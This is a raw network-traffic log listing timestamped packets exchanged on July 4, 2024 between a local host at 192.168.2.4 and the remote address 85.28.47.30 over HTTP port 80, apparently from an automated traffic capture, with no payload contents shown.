Jul 4, 2024 20:34:06.226465940 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.226481915 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.226532936 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.226532936 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.226533890 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.226533890 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.226533890 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.226886988 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.226897001 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.226914883 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.226922035 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.226924896 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.226936102 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.226941109 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.226948023 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.226958990 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.226963043 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.226974010 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.226989985 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.226991892 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.227008104 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.227015972 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.227018118 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.227027893 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.227037907 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.227039099 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.227047920 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.227056980 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.227066040 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.227070093 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.227076054 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.227083921 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.227093935 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.227101088 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.227103949 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.227114916 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.227119923 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.227123976 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.227133989 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.227137089 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.227144003 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.227155924 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.227159977 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.227200985 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.227220058 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.227298021 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.227308035 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.227339029 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.227364063 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.227473021 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.227514982 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.227647066 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.227658987 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.227688074 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.227706909 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.227776051 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.227787971 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.227796078 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.227806091 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.227816105 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.227827072 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.227827072 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.227835894 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.227847099 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.227848053 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.227857113 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.227866888 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.227869987 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.227869987 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.227876902 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.227894068 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.227904081 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.227907896 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.227920055 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.227930069 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.227940083 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.227943897 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.227951050 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.227962017 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.227962971 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.227972031 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.227982044 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.227988005 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.227993011 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.228003025 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.228012085 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.228034973 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.228049040 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.228590012 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.228611946 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.228622913 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.228632927 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.228634119 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.228643894 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.228648901 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.228656054 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.228666067 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.228669882 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.228681087 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.228691101 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.228694916 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.228699923 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.228710890 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.228710890 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.228734016 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.228750944 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.228760004 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.228764057 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.228774071 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.228784084 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.228790998 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.228794098 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.228804111 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.228813887 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.228815079 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.228823900 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.228832960 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.228843927 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.228843927 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.228853941 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.228872061 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.228900909 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.229319096 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.229329109 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.229338884 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.229362011 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.229382992 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.229413986 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.229430914 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.229441881 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.229450941 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.229455948 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.229460955 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.229471922 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.229475975 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.229480982 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.229491949 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.229491949 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.229501963 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.229511023 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.229512930 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.229522943 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.229532003 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.229542971 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.229552984 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.229562998 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.229563951 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.229573011 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.229578018 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.229583025 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.229593992 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.229604006 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.229607105 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.229614019 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.229623079 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.229631901 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.229633093 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.229643106 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.229652882 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.229655981 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.229661942 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.229671955 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.229681969 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.229688883 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.229718924 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.232996941 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.233014107 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.233023882 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.233033895 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.233042955 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.233052015 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.233053923 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.233064890 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.233073950 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.233097076 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.233110905 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.338473082 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.338499069 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.338514090 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.338521004 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.338536024 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.338550091 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.338589907 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.338597059 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.338612080 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.338625908 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.338643074 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.338643074 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.338664055 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.338677883 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.338689089 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.338689089 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.338691950 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.338706970 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.338713884 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.338721037 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.338728905 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.338732958 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.338737011 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.338745117 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.338773966 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.338792086 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.339107990 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.339123964 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.339159012 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.339174986 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.339210987 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.339226007 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.339240074 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.339253902 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.339260101 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.339267015 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.339272022 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.339281082 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.339284897 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.339296103 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.339313030 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.339319944 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.339327097 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.339340925 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.339348078 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.339354992 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.339374065 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.339379072 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.339402914 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.339404106 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.339416981 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.339423895 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.339447975 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.339462996 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.339490891 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.339535952 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.339685917 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.339700937 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.339725018 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.339740992 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.339754105 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.339771032 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.339797974 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.339812040 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.339878082 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.339893103 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.339905977 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.339919090 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.339920998 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.339926004 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.339931965 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.339940071 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.339947939 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.339966059 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.339971066 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.339988947 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.339998007 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.340003014 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.340015888 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.340017080 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.340030909 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.340044022 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.340045929 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.340058088 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.340073109 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.340078115 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.340089083 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.340092897 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.340106010 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.340117931 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.340136051 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.340148926 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.340148926 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.340176105 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.340188026 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.340256929 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.340302944 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.340440035 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.340491056 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.340615034 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.340631008 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.340662003 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.340675116 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.340764999 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.340780020 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.340792894 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.340807915 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.340812922 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.340821028 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.340822935 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.340835094 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.340837002 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.340848923 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.340854883 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.340866089 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.340873003 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.340881109 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.340894938 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.340902090 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.340902090 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.340914965 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.340929031 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.340929985 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.340944052 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.340958118 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.340959072 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.340970993 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.340971947 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.340992928 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.341008902 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.341012001 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.341022968 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.341026068 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.341037989 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.341051102 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.341051102 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.341064930 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.341078997 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.341089964 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.341094017 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.341104984 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.341109037 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.341121912 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.341121912 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.341136932 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.341150999 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.341156006 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.341165066 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.341180086 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.341181993 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.341192961 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.341200113 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.341207027 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.341219902 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.341231108 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.341234922 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.341259003 CEST	49730	80	192.168.2.4	85.28.47.30
